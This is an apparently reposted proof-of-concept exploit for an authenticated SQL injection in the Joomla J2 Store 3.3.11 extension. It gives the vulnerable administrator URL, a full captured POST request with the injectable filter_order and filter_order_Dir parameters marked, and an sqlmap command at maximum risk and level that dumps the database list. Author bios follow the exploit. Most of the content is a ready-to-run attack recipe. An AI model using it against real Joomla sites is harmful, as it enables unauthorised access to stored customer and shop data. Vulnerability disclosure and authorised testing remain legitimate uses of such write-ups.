Exploit Joomla J2 Store 3.3.11 – SQL Injection (Authenticated) (PoC)

Exploit Author: Mehmet Kelepçe / Gais Cyber Security
Vendor Homepage: https://www.j2store.org/
Version: 3.3.11
Tested on: Kali Linux – Apache2
Requirements : Kali Linux , Joomla Setup
Download : https://www.j2store.org/download-j2store/j2store-v3-3-3-11.html

Full Proof of Concept (PoC)

Step -1

Step -2

Step -3

http://192.168.0.109/joomla/administrator/index.php?option=com_j2store&view=products&task=browse&boxchecked=0&filter_order

Step -4

POST /joomla/administrator/index.php HTTP/1.1
Host: 192.168.0.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.109/joomla/administrator/index.php?option=com_j2store&view=products
Content-Type: application/x-www-form-urlencoded
Content-Length: 312
Connection: close
Cookie: eaf26fcc0a4074db05ba8a95a01b4e17=97g9q58pvrhma62cm687e3qa5g; e55c698859647e511c1a3c6130cb96c1=sqa13aln0hce0qddiq0i64q070
Upgrade-Insecure-Requests: 1

option=com_j2store&view=products&task=browse&boxchecked=0&filter_order=[SQLi]&filter_order_Dir=[SQLi]&2d42ab72d5c2716881de5d802d08ca7f=1&search=1&product_type=0&limit=20&since=&until=&productid_from=&productid_to=&pricefrom=&priceto=&sku=&manufacturer_id=&vendor_id=&taxprofile_id=&visible=&limitstart=0

Step -5

sqlmap -r sql.txt --dbs --risk=3 --level=5 --random-agent -p filter_order_Dir

Done 🙂 !!

About the Author

Virat Sharma Certified Ethical Hacker, information security analyst, penetration tester and researcher. Can be Contact on Linkedin.

Shubham Goyal

A keen learner and passionate IT student. He has done Web designing, CCNA, RedHat, Ethical hacking, Network & web penetration testing. Currently, he is completing his graduation and learning about Red teaming, CTF challenges & Blue teaming.